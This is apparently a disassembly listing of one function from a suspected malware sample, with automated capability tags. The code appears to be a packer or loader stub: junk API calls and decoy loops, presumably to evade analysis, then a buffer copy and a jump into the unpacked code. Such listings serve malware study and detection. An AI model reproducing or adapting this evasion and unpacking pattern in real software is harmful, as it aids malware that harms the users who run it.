Function at 0x4051b0
Capabilities:
Check mutex on windows
Get common file path
Get disk information

Disassembly:
sub esp, 0x8dc
cmp dword [0x293320c], 0xac
push ebx
push ebp
push esi
push edi
jne 0x40522b
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.USER32.dll_RegisterClassW]
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
lea ecx, [esp + 0x18]
push ecx
push 0
lea edx, [esp + 0xf0]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
lea ecx, [esp + 0x1c]
call fcn.00405c44
lea ecx, [esp + 0x1c]
call fcn.00405d22
call fcn.00405c2b
push 0
call fcn.00405f8a
add esp, 4
push 0
call fcn.00405f5b
add esp, 4
push 0
push 0
call fcn.00405f71
add esp, 8
add dword [0x293320c], 0x11b1b
call fcn.004050d0
call fcn.004050f0
mov eax, dword [0x293320c]
mov esi, dword [sym.imp.KERNEL32.dll_FreeConsole]
xor edi, edi
test eax, eax
jbe 0x4052e0
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
mov ebp, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [0x2939968]
mov dl, byte [ecx + edi + 0x11b1b]
mov ecx, dword [0x293317c]
mov byte [ecx + edi], dl
cmp eax, 0xa8
jne 0x4052db
push 0
push 0
push 0
call ebx
push 0
lea edx, [esp + 0xec]
push edx
push 0
call ebp
push 0
call dword [sym.imp.GDI32.dll_GetBkMode]
lea eax, [esp + 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommTimeouts]
call esi
mov eax, dword [0x293320c]
inc edi
cmp edi, eax
jb 0x405260
mov edi, dword [sym.imp.KERNEL32.dll_DebugBreak]
mov ebx, dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
mov ebp, dword [sym.imp.KERNEL32.dll_AttachConsole]
xor ecx, ecx
mov dword [esp + 0x14], ecx
lea edx, [eax + ecx]
cmp edx, 0xe
jne 0x405350
call edi
call esi
push 0
push 0
push 0
call ebx
push 0
call ebp
lea eax, [esp + 0xe8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x293320c]
mov ecx, dword [esp + 0x14]
inc ecx
cmp ecx, 0x4fe229
mov dword [esp + 0x14], ecx
jl 0x4052f8
mov edi, dword [sym.imp.GDI32.dll_GetCharWidthW]
mov ebx, dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
mov esi, 0x4cc
mov edi, edi
push 0
push 0
push 0
push 0
call edi
lea edx, [esp + 0x1c]
push edx
push 0
push 0
push 0
call ebx
sub esi, 1
jne 0x405370
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
cmp esi, 0xcaaaff1
jg 0x4053a5
inc esi
cmp esi, 0x1f05843
jl 0x405392
call fcn.00404fd0
call fcn.004050b0
mov esi, dword [sym.imp.KERNEL32.dll_ReplaceFileA]
mov edi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov ebp, dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esp + 0x14], 0x7b
nop
cmp dword [0x293320c], 0x86
jne 0x4053f4
push 0
push 0
push 0
push 0
push 0
push 0
call esi
push 0
push 0
push 0
push 0
call edi
cmp dword [0x293320c], 0xf
jne 0x40540d
push 0
push 0
call ebx
push 0
push 0
push 0
push 0
call ebp
sub dword [esp + 0x14], 1
jne 0x4053d0
mov esi, dword [sym.imp.KERNEL32.dll_DeactivateActCtx]
mov edi, dword [sym.imp.KERNEL32.dll_AddRefActCtx]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov ebp, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStructA]
mov dword [esp + 0x14], 0x3078f
cmp dword [0x293320c], 0x83
jne 0x4054ad
push 0
push 0
call esi
lea eax, [esp + 0x28]
push eax
call edi
lea ecx, [esp + 0xe8]
push ecx
push 0
call ebx
push 0
push 0
push 0
push 0
push 0
call ebp
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
push 0
push 0
push 0
lea edx, [esp + 0x24]
push edx
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_ChangeTimerQueueTimer]
push 0x404a2c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
sub dword [esp + 0x14], 1
jne 0x405434
call fcn.00404d20
mov eax, dword [0x293317c]
mov dword [0x2933200], eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x8dc
jmp eax